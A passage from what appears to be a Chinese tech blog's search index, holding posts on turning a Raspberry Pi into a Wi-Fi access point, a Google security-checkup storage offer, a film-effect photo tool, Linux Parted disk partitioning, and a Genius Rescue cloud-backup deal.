是設定為靜態的固定 IP 位址，使用 DHCP 動態取得應該也是可以。\n啟用無線網路卡 wlan0：\n# 啟用無線網路卡 wlan0 sudo ifup wlan0 DHCP 伺服器 樹莓派對內的區域網路（wlan0）中需要一台 DHCP 伺服器來配發上網設備的 IP 位址，這樣才能上內部的設備自動取的 IP 上網。\n在樹莓派上安裝 DHCP 伺服器：\n# 安裝 DHCP 伺服器 sudo apt-get install isc-dhcp-server 編輯 /etc/dhcp/dhcpd.conf 設定檔，將 domain name 的全域設定拿掉：\n# option definitions common to all supported networks... # option domain-name \u0026#34;example.org\u0026#34;; # option domain-name-servers ns1.example.org, ns2.example.org; 設定這個 DHCP 伺服器為官方（authoritative）伺服器：\n# If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; 設定要給 DHCP 伺服器配發的 IP 網段，這裡的網段要跟上面無線網路卡的網段相同：\nsubnet 192.168.2.0 netmask 255.255.255.0 { range 192.168.2.10 192.168.2.50; option broadcast-address 192.168.2.255; option routers 192.168.2.1; default-lease-time 600; max-lease-time 7200; option domain-name \u0026#34;local\u0026#34;; option domain-name-servers 168.95.192.1, 168.95.1.1; } 編輯 /etc/default/isc-dhcp-server 設定檔，設定 INTERFACES：\n# On what interfaces should the DHCP server (dhcpd) serve DHCP requests? # Separate multiple interfaces with spaces, e.g. \u0026#34;eth0 eth1\u0026#34;. INTERFACES=\u0026#34;wlan0\u0026#34; 設定好之後，重新啟動 DHCP 伺服器：\n# 重新啟動 DHCP 伺服器 service isc-dhcp-server restart 並檢查是否有錯誤訊息。\nPacket Forwarding 封包轉送（packet forwarding）的作用在於將內部 wlan0 區域網路的封包轉送至 eth0，讓內部的設備可以連線至外部網路。\n編輯 /etc/sysctl.conf 設定檔，設定 packet forwarding：\n# Uncomment the next line to enable packet forwarding for IPv4 net.ipv4.ip_forward=1 若要讓 packet forwarding 馬上生效，可以執行：\nsudo sh -c \u0026#34;echo 1 \u0026gt; /proc/sys/net/ipv4/ip_forward\u0026#34; 設定 NAT：\n# 設定 NAT sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT 查看 iptables 的設定：\n# 查看 iptables 設定 sudo iptables -t nat -S sudo iptables -S 接著要讓 NAT 的設定可以在每次開機都自動設定，我們將 iptables 的設定儲存在 /etc/iptables.ipv4.nat 中：\n# 將 iptables 的設定儲存在 /etc/iptables.ipv4.nat 中 sudo sh -c \u0026#34;iptables-save \u0026gt; /etc/iptables.ipv4.nat\u0026#34; 編輯 /etc/network/interfaces，加入：\nup iptables-restore \u0026lt; /etc/iptables.ipv4.nat 這樣在網路啟動時就會自動設定 NAT。\nhostapd 服務 要藉由 USB 無線網路卡建立一個 AP（access point），還需要安裝 hostapd 這個 daemon。\n安裝 hostapd：\n# 安裝 hostapd sudo apt-get install hostapd 建立 /etc/hostapd/hostapd.conf 設定檔，我們可以從 /usr/share/doc/hostapd/examples/hostapd.conf.gz 這個範例檔開始修改。\ninterface 設定為 wlan0：\n# AP netdevice name (without \u0026#39;ap\u0026#39; postfix, i.e., wlan0 uses wlan0ap for # management frames); ath0 for madwifi interface=wlan0 設定 driver：\n# Driver interface type (hostap/wired/madwifi/test/none/nl80211/bsd); # default: hostap). nl80211 is used with all Linux mac80211 drivers. # Use driver=none if building hostapd as a standalone RADIUS server that does # not control any wireless/wired driver. driver=nl80211 設定無線網路的 SSID：\n# SSID to be used in IEEE 802.11 management frames ssid=RPi-AP 無線網路連線模式：\n# Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g, # ad = IEEE 802.11ad (60 GHz); a/g options are used with IEEE 802.11n, too, to # specify band) # Default: IEEE 802.11b hw_mode=g 無線網路頻道：\n# Channel number (IEEE 802.11) # (default: 0, i.e., not set) # Please note that some drivers do not use this value from hostapd and the # channel will need to be configured separately with iwconfig. # # If CONFIG_ACS build option is enabled, the channel can be selected # automatically at run time by setting channel=acs_survey or channel=0, both of # which will enable the ACS survey based algorithm. channel=1 MAC 卡號認證機制設定：\n# Station MAC address -based authentication # Please note that this kind of access control requires a driver that uses # hostapd to take care of management frame processing and as such, this can be # used with driver=hostap or driver=nl80211, but not with driver=madwifi. # 0 = accept unless in deny list # 1 = deny unless in accept list # 2 = use external RADIUS server (accept/deny lists are searched first) macaddr_acl=0 無線網路認證演算法設定：\n# IEEE 802.11 specifies two authentication algorithms. hostapd can be # configured to allow both of these or only one. Open system authentication # should be used with IEEE 802.1X. # Bit fields of allowed authentication algorithms: # bit 0 = Open System Authentication # bit 1 = Shared Key Authentication (requires WEP) auth_algs=3 # Send empty SSID in beacons and ignore probe request frames that do not # specify full SSID, i.e., require stations to know SSID. # default: disabled (0) # 1 = send empty (length=0) SSID in beacon and ignore probe request for # broadcast SSID # 2 = clear SSID (ASCII 0), but keep the original length (this may be required # with some clients that do not support empty SSID) and ignore probe # requests for broadcast SSID ignore_broadcast_ssid=0 WPA 設定：\n# Enable WPA. Setting this variable configures the AP to require WPA (either # WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either # wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK. # Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice. # For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys), # RADIUS authentication server must be configured, and WPA-EAP must be included # in wpa_key_mgmt. # This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0) # and/or WPA2 (full IEEE 802.11i/RSN): # bit0 = WPA # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled) wpa=2 設定無線網路的密碼：\n# WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase # (8..63 characters) that will be converted to PSK. This conversion uses SSID # so the PSK changes when ASCII passphrase is used and the SSID is changed. # wpa_psk (dot11RSNAConfigPSKValue) # wpa_passphrase (dot11RSNAConfigPSKPassPhrase) #wpa_psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef wpa_passphrase=Raspberry 接受的金鑰管理方式：\n# Set of accepted key management algorithms (WPA-PSK, WPA-EAP, or both). The # entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be # added to enable SHA256-based stronger algorithms. # (dot11RSNAConfigAuthenticationSuitesTable) #wpa_key_mgmt=WPA-PSK WPA-EAP wpa_key_mgmt=WPA-PSK # Set of accepted cipher suites (encryption algorithms) for pairwise keys # (unicast packets). This is a space separated list of algorithms: # CCMP = AES in Counter mode with CBC-MAC [RFC 3610, IEEE 802.11i/D7.0] # TKIP = Temporal Key Integrity Protocol [IEEE 802.11i/D7.0] # Group cipher suite (encryption algorithm for broadcast and multicast frames) # is automatically selected based on this configuration. If only CCMP is # allowed as the pairwise cipher, group cipher will also be CCMP. Otherwise, # TKIP will be used as the group cipher. # (dot11RSNAConfigPairwiseCiphersTable) # Pairwise cipher for WPA (v1) (default: TKIP) #wpa_pairwise=TKIP CCMP wpa_pairwise=TKIP # Pairwise cipher for RSN/WPA2 (default: use wpa_pairwise value) rsn_pairwise=CCMP 編輯 /etc/default/hostapd 設定檔，設定 DAEMON_CONF 指向 /etc/hostapd/hostapd.conf：\n# Uncomment and set DAEMON_CONF to the absolute path of a hostapd configuration # file and hostapd will be started during system boot. An example configuration # file can be found at /usr/share/doc/hostapd/examples/hostapd.conf.gz DAEMON_CONF=\u0026#34;/etc/hostapd/hostapd.conf\u0026#34; 測試一下 hostapd 的設定是否正確，使用 root 管理者權限執行 hostapd，並指定設定檔：\nsudo hostapd /etc/hostapd/hostapd.conf 檢查輸出是否有問題，正常來說會類似這樣：\nConfiguration file: /etc/hostapd/hostapd.conf Using interface wlan0 with hwaddr f8:1a:67:18:3a:ab and ssid \"RPi-AP\" wlan0: interface state UNINITIALIZED-\u0026gt;ENABLED wlan0: AP-ENABLED wlan0: STA 28:e3:1f:50:b9:94 IEEE 802.11: authenticated wlan0: STA 28:e3:1f:50:b9:94 IEEE 802.11: associated (aid 1) wlan0: AP-STA-CONNECTED 28:e3:1f:50:b9:94 wlan0: STA 28:e3:1f:50:b9:94 RADIUS: starting accounting session 56BD92F6-00000000 wlan0: STA 28:e3:1f:50:b9:94 WPA: pairwise key handshake completed (RSN) 無如果正常的話，這時候就可以使用新的無線網路 RPi-AP 了。\n一般手機或平板也可以直接使用。\n確定設定無誤之後，可以中斷自己執行的 hostapd，將系統的 hostapd 服務：\nsudo service hostapd restart 問題檢查 如果在設定上有問題，無法使用的話，可以用 iw 指令檢查一下自己的 USB 無線網路卡是否支援 AP 模式：\niw list 在輸出中找到 Supported interface modes 這一段：\nSupported interface modes: * IBSS * managed * AP * AP/VLAN * monitor * mesh point * P2P-client * P2P-GO 確認網路卡有支援 AP 模式。\n另外若是軟體設定有問題，除了在終端機上的錯誤訊息之外，在 /var/log/syslog 紀錄檔中也可以找到一些資訊。\n參考資料 adafruit maketecheasier superuser superuser Ubuntu Help ","permalink":"https://blog.gtwang.org/iot/setup-raspberry-pi-as-wireless-access-point/","summary":"\u003cp\u003e這裡介紹如何使用樹莓派架設一個無線網路 AP，讓各種無線網路設備透過樹莓派上網。\u003c/p\u003e\n\u003cp\u003e樹莓派在插上一張 USB 無線網路卡之後，可以透過無線網路上網，而除了讓樹莓派上網之外，我們也可以使用同樣一張 USB 無線網路卡將樹莓派打造成無線網路基地台（AP，Access Point），當作 IP 分享器使用。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 設定無線網路 WiFi AP，打造無線 IP 分享器"},{"content":"Google 響應全球網路安全日，現在只要進行帳戶安全檢查，就免費送 2GB 永久雲端硬碟空間！\n目前 Google 的免費雲端硬碟空大小是 15GB，所有的 Google 服務都共用這個空間（包含 Gmail 等所有 Google 服務）。\n現在 Google 配合 2016 全球網路安全日（Safer Internet Day 2016）的活動，只要使用者花一分鐘檢查一下自己帳戶的安全性設定，就可以馬上獲得額外的 2GB 儲存空間，以下是操作步驟。\nStep 1\n開啟 Google 安全設定檢查頁面，用自己的 Google 帳號登入。\nStep 2\n檢查備援資訊是否正確，包含備援的電話號碼與 Email 信箱。\n如果正確請點選「完成」繼續下一步。\nStep 3\n檢查最近的安全性事件，這裡會顯示目前帳戶最近的活動紀錄與發生地點，如果您人都在台灣，卻發現有國外的活動，就表示您的帳戶有問題。\n如果看起來都正常，請點選「沒有問題」繼續下一步。\nStep 4\n檢查已經連結的裝置，每個裝置同樣都會有地理資訊。\n如果看起來都正常，請點選「沒有問題」繼續下一步。\nStep 5\n檢查帳戶權限，如果出現完全沒在使用的網站或是應用程式，建議就可以直接刪除，增加帳戶的安全性。\n檢查完後，請點選「完成」繼續下一步。\nStep 6\n檢查兩步驟驗證的設定，確定一下電話號碼是否正確。\n檢查完後，請點選「完成」繼續下一步。\nStep 7\n這樣就完成了，接著可以點選下方的「免費雲端硬碟儲存空間」的連結，查看自己帳號目前的空間容量。\nStep 8\n只要通過 Google 的安全設定檢查，在免費雲端硬碟儲存空間的頁面中就會出現額外的 2GB 永久儲存空間。\n這時候若回到 Gmail 的頁面中，也可以發現原本的 15GB 馬上變成 17 GB 了。\n整個安全檢查過程只要一分鐘，除了讓自己的 Google 帳戶更安全，還可以獲得免費的 2GB 永久空間，建議大家都去進行這項安全檢查！\n","permalink":"https://blog.gtwang.org/free/safer-internet-day-google-drive-extra-2gb-storage/","summary":"\u003cp\u003eGoogle 響應全球網路安全日，現在只要進行帳戶安全檢查，就免費送 2GB 永久雲端硬碟空間！\u003c/p\u003e\n\u003cp\u003e目前 Google 的免費雲端硬碟空大小是 15GB，所有的 Google 服務都共用這個空間（包含 Gmail 等所有 Google 服務）。\u003c/p\u003e","title":"Google 帳戶安全檢查，免費送 2GB 雲端硬碟儲存空間"},{"content":"Film Emulator 是一個菲林相片效果的線上製作工具，讓照片看起來更有味道。\nFilm Emulator 是一個用 JavaScript 寫的菲林相片效果產生工具，它很特別的地方就是圖片在處理時都不需要上傳，所有的照片都是在 client 端由 JavaScript 程式直接處理，處理速度很快。除了一般的 PC 之外，Film Emulator 在 Android 手機的 Chrome 瀏覽器也可以使用。\n名稱：Film Emulator\n網址：http://29a.ch/film-emulator/\n這是 Film Emulator 的網頁畫面，要處理照片時，起點選上方的「Open File」開啟圖檔，接著就可以從右方的工具選單選擇想要的特效。\n處理完成後，按下「Download」就可以將處理好的圖片儲存起來。\n以下這一張是官方提供的原始範例照片，我們用這一張做示範。\n以下是一些照片經過處理後的範例。\nFilm Emulator 所提供的特效非常多，以上的範例只是一小部份，其他的效果可以直接在它的網頁上觀看。\n另外還有一些可以自行調整的效果，這一些是可以調整效果強弱的。\n這是另外一張原始照片。\n以下是一些照片經過處理後的範例。\nFilm Emulator 是一個開放原始碼的工具，有興趣研究的人可以從 GitHub 上取得它的原始程式碼，而它所使用的顏色查找表（color look up table）是從 G’MIC 取得的。另外在 Film Emulator 網頁的 Help 頁面也有很多關於這個工具的開發者資訊。\n參考資料 Photoblog.hk ","permalink":"https://blog.gtwang.org/useful-tools/film-photography-effect-emulator/","summary":"\u003cp\u003eFilm Emulator 是一個菲林相片效果的線上製作工具，讓照片看起來更有味道。\u003c/p\u003e\n\u003cp\u003eFilm Emulator 是一個用 JavaScript 寫的菲林相片效果產生工具，它很特別的地方就是圖片在處理時都不需要上傳，所有的照片都是在 client 端由 JavaScript 程式直接處理，處理速度很快。除了一般的 PC 之外，Film Emulator 在 Android 手機的 Chrome 瀏覽器也可以使用。\u003c/p\u003e","title":"Film Emulator 菲林相片效果製作工具，產生特效的照片"},{"content":"Linux 中的 Parted 是一個用來管理磁碟分割區的工具，舉凡磁碟分割區的新增、刪除、大小變更等動作都可以用這個工具來處理。\n傳統上 Linux 系統中若要管理磁碟分割區，最常使用的工具就是 fdisk，而這個工具只適用於容量較小的硬碟，容量太大的硬碟就無法使用 fdisk 來處理，以下是 fdisk 線上手冊（man page）中的一段說明。\nfdisk does not understand GUID partition tables (GPTs) and it is not designed for large partitions. In these cases, use the more advanced GNU parted(8).\nfdisk 所能處理的磁碟容量上限是 2TB，若磁碟的容量大於 2TB 就無法使用 fdisk，這時候就要改用支援 GPT 的 格式的 Parted，以現在最新的硬碟來說，容量通常都是在 2TB 以上，所以學習使用 Parted 來管理磁碟分割區是很重要的。\n由於 parted 的執行效果會立即生效，所有磁碟分割區的變更都會馬上寫入硬碟中，如果您沒有使用過 parted 的經驗，建議可以找一台沒有用的舊電腦來練習，或是使用虛擬機器（如 VirtualBox），以免不小心造成硬碟的資料損毀。\n以下我們會介紹 Parted 的使用方式，並且提供許多 parted 指令的範例供大家參考。\n安裝 Parted 磁碟分割工具 在 Debian 系列的 Linux 中（如 Ubuntu、Linux Mint 等），可以使用 apt 安裝 Parted：\nsudo apt-get install parted 在 RHEL、CentOS 或 Fedora 中，則使用 yum 安裝：\nsudo yum install parted 在 Fedora 22 以上的版本則使用 dnf 安裝：\ndnf install parted 安裝好 Parted 之後，就可以繼續以下的操作。\n基本 Parted 使用方式 使用 root 管理者權限執行 parted：\nsudo parted 這樣就會進入到 Parted 的操作環境中，這時候終端機上會顯示 parted 的版本資訊，並且出現 (parted) 的提示字元，類似這樣：\nGNU Parted 2.3 Using /dev/sda Welcome to GNU Parted! Type 'help' to view a list of commands. (parted) 在 Parted 的操作環境中執行 help 指令可以顯示簡單的指令列表與操作說明：\n(parted) help 如果要離開 Parted 操作環境，可以執行 quit：\n(parted) quit 列出 Linux 磁碟分割區 在 Parted 的操作環境中，執行 print 指令可以列出目前磁碟的分割區資訊：\n(parted) print 輸出會類似這樣：\nModel: ATA VBOX HARDDISK (scsi) Disk /dev/sda: 8590MB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 1049kB 6442MB 6441MB primary ext4 boot 2 6443MB 8589MB 2145MB extended 5 6443MB 8589MB 2145MB logical linux-swap(v1) 上面這個輸出是我在 VirtualBox 的虛擬機器中所測試的結果，如果在實際的實體機器上面的話，print 的輸出還會包含硬碟的型號資訊，以下是一個實體硬碟的輸出範例：\nModel: ATA TOSHIBA MQ01ACF0 (scsi) Disk /dev/sda: 500GB Sector size (logical/physical): 512B/4096B Partition Table: gpt Number Start End Size File system Name Flags 1 1049kB 420MB 419MB ntfs Basic data partition hidden, diag 2 420MB 735MB 315MB fat32 EFI system partition boot 3 735MB 869MB 134MB Microsoft reserved partition msftres 4 869MB 216GB 215GB ntfs Basic data partition msftdata 8 216GB 316GB 100GB ext4 5 316GB 468GB 152GB fat32 msftdata 6 468GB 470GB 1979MB linux-swap(v1) 7 470GB 500GB 30.5GB ntfs Basic data partition hidden, diag 選擇磁碟 print 指令預設會列出系統上第一顆硬碟的分割區資訊，如果您的系統中有多顆硬碟，可以使用 select 指令來選擇要操作的硬碟，例如選擇 /dev/sdb 則執行：\n(parted) select /dev/sdb 輸出為\nUsing /dev/sdb 接著就可以使用 print 列出 /dev/sdb 的磁碟分割區資訊。\n令一個選擇硬碟的方式是在執行 parted 指令時用參數指定：\nsudo parted /dev/sdb 建立磁碟分割區 Parted 可以用來建立磁碟的主要分割區與邏輯分割區，兩種分割區的建立方式是相同的，這裡示範主要分割區的建立步驟。\n在建立分割區之前，請先執行 print 確認一下目前所選擇的硬碟是否正確：\n(parted) print 如果是沒有任何資料的硬碟，可能會出現類似這樣的訊息：\nError: /dev/sdb: unrecognised disk label 請小心確認目前的磁碟，若則錯誤的磁碟，可能會造成磁碟中的資料完全損毀！\n建立磁碟分割區之前，要先建立磁碟分割表，一般的硬碟最常使用的是 msdos：\n(parted) mklabel msdos 如果是大於 2TB 的硬碟，可以使用 gpt：\n(parted) mklabel gpt 關於 mklabel 所支援的 label 類型，可以參考 GNU Parted 的說明文件。\n如果硬碟中已經存在有磁碟分割表的資訊，就會出現這樣的警告：\nWarning: The existing disk label on /dev/sdb will be destroyed and all data on this disk will be lost. Do you want to continue? Yes/No? 若確定無誤，則輸入 y 繼續。\n建立好磁碟分割表之後，再用 print 確認一次：\n(parted) print 輸出會類似：\nModel: ATA VBOX HARDDISK (scsi) Disk /dev/sdb: 10.7GB Sector size (logical/physical): 512B/512B Partition Table: gpt Number Start End Size File system Name Flags 接著建立磁碟分割區，分割區可以使用 mkpart 指令來建立：\n(parted) mkpart 接著輸入一些設定參數：\nPartition name? []? my_part File system type? [ext2]? Start? 1 End? 10000 Partition name：輸入分割區名稱。 File system type：檔案系統格式，使用預設即可，之後格式化的時候可在更改。 Start：輸入起始位置。 End：輸入結束位置。 如果是使用 msdos 的磁碟分割表，在建立磁碟分割區會有不同的選項：\nPartition type? primary/extended? primary File system type? [ext2]? Start? 1 End? 10000 主要的差異是要選擇分割區的類型，primary 是主要分割區，而 extended 則是延伸分割區。\n建立好分割區之後，使用 print 確認：\n(parted) print 輸出為\nModel: ATA VBOX HARDDISK (scsi) Disk /dev/sdb: 10.7GB Sector size (logical/physical): 512B/512B Partition Table: gpt Number Start End Size File system Name Flags 1 1049kB 10.0GB 9999MB my_part 接著離開 Parted 的操作環境。\n(parted) quit 在 shell 中使用 mkfs.ext4 格式化分割區：\nmkfs.ext4 /dev/sdb1 輸出為\nmke2fs 1.42.9 (4-Feb-2014) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=0 blocks, Stripe width=0 blocks 610800 inodes, 2441216 blocks 122060 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=2499805184 75 block groups 32768 blocks per group, 32768 fragments per group 8144 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (32768 blocks): done Writing superblocks and filesystem accounting information: done 如果需要將分割區格式化成其他的檔案系統，可以使用其他的 mkfs.* 工具。\n雖然 Parted 操作環境之中也有格式化分割區的功能，但是它的穩定性不如一般專門的格式化工具（如 mkfs 系列的工具），所以建議在建立好分割區之後，離開 Parted 環境再用一般的工具格式化。\n這樣新的磁碟分割區就完成了，接著就可以用 mount 將分割區掛載起來使用：\nsudo mkdir /mnt/my_part sudo mount /dev/sdb1 /mnt/my_part/ 用 df 查看一下掛載後的磁碟狀況：\nsudo df -h 輸出為\nFilesystem Size Used Avail Use% Mounted on /dev/sda1 5.8G 2.4G 3.2G 44% / none 4.0K 0 4.0K 0% /sys/fs/cgroup udev 986M 4.0K 986M 1% /dev tmpfs 201M 928K 200M 1% /run none 5.0M 0 5.0M 0% /run/lock none 1001M 136K 1001M 1% /run/shm none 100M 28K 100M 1% /run/user /dev/sdb1 9.1G 21M 8.6G 1% /mnt/my_part 調整磁碟分割區大小 Parted 的 resizepart 指令可以用來更改 Linux 的磁碟分割區大小，在變更磁碟分割區之前，要先用 print 指令查詢分割區的編號：\n(parted) print 在 print 的輸出中，可以查到每個磁碟分割區的編號：\nModel: ATA VBOX HARDDISK (scsi) Disk /dev/sdb: 10.7GB Sector size (logical/physical): 512B/512B Partition Table: gpt Number Start End Size File system Name Flags 1 1049kB 10.0GB 9999MB ext4 my_part 第一個 Number 欄位就是分割區的編號，以這個 my_part 分割區而言，它的編號就是 1。接著執行 resizepart：\n(parted) resizepart 接著輸入編號與大小：\nPartition number? 1 End? [10.0GB]? 5G Warning: Shrinking a partition can cause data loss, are you sure you want to continue? Yes/No? y Partition number：輸入分割區編號。 End：輸入分割區結束位置。 Shrinking a partition can cause data loss, are you sure you want to continue?：如果是縮小分割區，可能會造成資料流失，若確認要執行，則輸入 y。 用 print 確認：\n(parted) print 輸出為\nModel: ATA VBOX HARDDISK (scsi) Disk /dev/sdb: 10.7GB Sector size (logical/physical): 512B/512B Partition Table: gpt Number Start End Size File system Name Flags 1 1049kB 5000MB 4999MB ext4 my_part 刪除 Linux 磁碟分割區 首先用 print 查詢磁碟分割區編號：\n(parted) print Model: ATA VBOX HARDDISK (scsi) Disk /dev/sdb: 10.7GB Sector size (logical/physical): 512B/512B Partition Table: gpt Number Start End Size File system Name Flags 1 1049kB 5000MB 4999MB ext4 my_part 2 5001MB 8000MB 2999MB my_part2 然後使用 rm 指令加上分割區編號刪除指定的分割區：\n(parted) rm 2 再用 print 確認一次：\n(parted) print 輸出為\nModel: ATA VBOX HARDDISK (scsi) Disk /dev/sdb: 10.7GB Sector size (logical/physical): 512B/512B Partition Table: gpt Number Start End Size File system Name Flags 1 1049kB 5000MB 4999MB ext4 my_part 修復磁碟分割區 Parted 的 rescue 指令提供了修復磁碟分割區的功能，它可以搜尋指定的磁碟區間，如果發現有任何遺失的分割區，就會嘗試將它們救回：\n(parted) rescue 接著輸入要搜尋的磁碟區間：\nStart? 1 End? 10000 Information: A ext4 primary partition was found at 1049kB -\u003e 10.0GB. Do you want to add it to the partition table? Yes/No/Cancel? y Start：輸入搜尋起點。 End：輸入搜尋終點。 Do you want to add it to the partition table?：若找到遺失的分割區，會詢問是否要修復，輸入 y 可以進行修復。 使用 print 查看磁碟修復後的結果：\n(parted) print 輸出為：\nModel: ATA VBOX HARDDISK (scsi) Disk /dev/sdb: 10.7GB Sector size (logical/physical): 512B/512B Partition Table: gpt Number Start End Size File system Name Flags 1 1049kB 10.0GB 9999MB ext4 設定磁碟旗標 Parted 的 set 指令可以用來設定磁碟分割區的旗標（flags），例如將編號 1 的分割區設定為可開機（boot）：\n(parted) set 1 boot on 然後使用 print 查看：\n(parted) print Model: ATA VBOX HARDDISK (scsi) Disk /dev/sdb: 10.7GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 1049kB 10.0GB 9999MB primary ext4 boot 參考資料 Tecmint nixCraft The Geek Stuff The Geek Stuff DUNTUK archlinux ","permalink":"https://blog.gtwang.org/linux/parted-command-to-create-resize-rescue-linux-disk-partitions/","summary":"\u003cp\u003eLinux 中的 Parted 是一個用來管理磁碟分割區的工具，舉凡磁碟分割區的新增、刪除、大小變更等動作都可以用這個工具來處理。\u003c/p\u003e\n\u003cp\u003e傳統上 Linux 系統中若要管理磁碟分割區，最常使用的工具就是 \u003ccode\u003efdisk\u003c/code\u003e，而這個工具只適用於容量較小的硬碟，容量太大的硬碟就無法使用 \u003ccode\u003efdisk\u003c/code\u003e 來處理，以下是 \u003ccode\u003efdisk\u003c/code\u003e 線上手冊（man page）中的一段說明。\u003c/p\u003e","title":"Linux 的 Parted 指令教學：建立、變更與修復磁碟分割區"},{"content":"Genius Rescue 終身 2TB 雲端備份空間現在特價 0.6 折，原價 $900 美金現在只要 $49 美金！\nGenius Rescue 的雲端備份服務提供了終身使用的 2TB 超大容量空間，這個服務類似 Zoolz 的終身雲端備份，但是 Genius Rescue 的備份資料在回復時可以立即下載，不像 Zoolz 的冷儲存需要等待時間，如果是圖片、影片或是音樂檔，還可以直接在線上以串流的形式觀看，而且平均的價格上還更便宜！\n名稱：Genius Rescue 終身 2TB 雲端備份空間\n容量：2 TB\n使用期限：終身使用\n價格：限時特價 $49 美金（原價 $900 美金）\n網址：stacksocial.com\n這是 Genius Rescue 雲端儲存空間的特點：\n2 TB（2000 GB）終身儲存空間。 提供簡單容易使用的備份工具。 網頁管理介面，隨時隨地都可以立即存取備份的檔案。 可用串流線上觀看備份的影片或音樂，支援手機、平板等行動裝置。 自動定時備份、系統圖示列顯示等系統整合功能。 資料經過 AES-256 加密後，同時存放在英國的兩座資料中心。 Genius Rescue 背後的儲存設備是使用 livedrive 的儲存設施，網路上有一些關於 livedrive 的評價，整體而言 livedrive 的評價還不錯，但就是價格太高，而現在 Genius Rescue 使用 livedrive 服務來做促銷，價格上超划算，有需要的人可以參考看看。\n以下是 Genius Rescue 終身 2TB 雲端備份空間的購買與使用教學。\nStep 1\n開啟 Genius Rescue 的購買網頁，如果是第一次來這個網站的人，應該會看到這樣的電子報訂閱資訊，訂閱他的電子報，可享有一次 5% 減價的優惠。（如果不想收到他的廣告信，可以使用 MailDrop 這類的臨時信箱來訂閱）\nStep 2\n按下網頁上的「ADD TO CART」，把這個商品加入購物車。\nStep 3\n這裡可以選擇購買的數量，接著點選「CHECKOUT」結帳。\nStep 4\n註冊帳號，可以使用 facebook 的帳號註冊，或是直接輸入自己的 Email 並設定一組密碼。如果已經有帳號的人，可以點選上面的「Login」連結登入。\nStep 5\n輸入信用卡資訊，進行付款，另外也可以選擇使用 PayPal 來付款。\n最後按下「COMPLETE ORDER」完成付款。\nStep 6\n結帳完成之後，還要進行產品匯兌的動作，點選「REDEMPTION LINK」，開啟 Genius Rescue 的註冊網頁。\nStep 7\n在 Genius Rescue 註冊網頁上填寫自己的基本資料，包含姓名、Email、使用者帳號，並且設定一組密碼。\nStep 8\n註冊完成後，就可以登入 Genius Rescue 了。\nStep 9\n登入之後，可以下載備份電腦用的工具程式，請依照自己的作業系統來下載。\n這裡下載的是備份電腦用的工具，另外 Genius Rescue 也有手機與平板等各種平台用的管理工具，後面的文章會有詳細的介紹。\nMac OS X 使用 Genius Rescue Step 1\n首先從 Genius Rescue 網站上下載 Mac OS X 專用的安裝檔，解壓縮之後並執行。按下「Continue」繼續。\nStep 2\n安裝過程需要系統管理者的權限，要輸入密碼取得權限。接著會詢問是否要將這個備份工具放置在系統的應用程式目錄中。個人建議是按下「Move to Applications Folder」將程式放在應用程式目錄中，跟一般的應用程式放在一起，以後比較不會找不到。\nStep 3\n安裝完成後，開啟 Genius Rescue 的備份工具，輸入帳號與密碼。\n從工具的 logo 標誌就可以知道，Genius Rescue 其實就是 livedrive。\nStep 4\n登入之後，會進行基本的設定，按下「Next」繼續。\nStep 5\n備份工具執行時會顯示在系統圖示列。\nStep 6\n這是備份工具的主畫面，這裡會顯示備份的進度與目前資料所使用的空間大小。\nStep 7\n這是「Settings」設定選單，可以調整備份與安全性相關的設定。\nStep 8\nLivedrive 的備份工具預設會備份桌面、我的文件、音樂、影片等等這些常用的目錄，我們可以自己設定需要備份的路徑。\nStep 9\n備份的時機與週期也可以自行調整。\nStep 10\n這是安全性的設定選單，可以設定密碼與是否要在開機時自動啟動。\nStep 11\n在資料都備份完成時，畫面會顯示一個綠色的勾勾。\nGenius Rescue 網頁管理介面 當電腦中的資料備份到 Genius Rescue 的雲端空間之後，我們就可以透過 Genius Rescue 的網頁管理介面來存取所有的檔案。\nStep 1\n我們可以按下備份工具上的「Web」按鈕來開啟Genius Rescue 的網頁，這裡會顯示目前已經備份的電腦。\nStep 2\n選擇備份的電腦之後，就可以看到所有已經備份上去的資料。\nStep 3\nGenius Rescue 的好處就是資料只要備份上去之後，在任何可以上網地方都可以隨時存取。\nStep 4\n所有的檔案都可以透果網頁直接下載，而如果是圖片的話，還可以在網頁上直接預覽。\nStep 5\n如果是影片或是音樂，還可以直接在網頁上觀看或聆聽。\nStep 6\n影片的播放是使用串流的方式，不需要下載就可以隨意觀看，相當方便。\nMac OS X 中 Genius Rescue 資料回復 Genius Rescue 備份工具中有一個「Restore」功能，可以進行資料的下載與回復。\nStep 1\n點選「Restore」功能，選擇要回復哪一台電腦的資料。\nStep 2\n選擇要回復的目錄，點選右邊的「Restore」進行回復。\nStep 3\n選擇回復的目的路徑，可以將檔案回復至原來的路徑，或是儲存在新的位置。\nStep 4\n回復的過程中會顯示資料回復的進度。\nStep 5\n這是回復完成的畫面，這時候就可以在資料的回復目的路徑上看到之前備份的檔案了。\n點選「Click to open report」可以顯示詳細的報表。\nStep 6\n「Restore Report」列出了詳細的資料回復情況。\nWindows 使用 Genius Rescue Step 1\nWindows 系統上的 Genius Rescue 使用方其實跟 Mac OS X 上幾乎完全相同，首先下載 Windows 版本的 livedrive 備份工具，進行安裝。安裝好之後，輸入帳號與密碼登入。\nStep 2\n進行基本的設定。\nStep 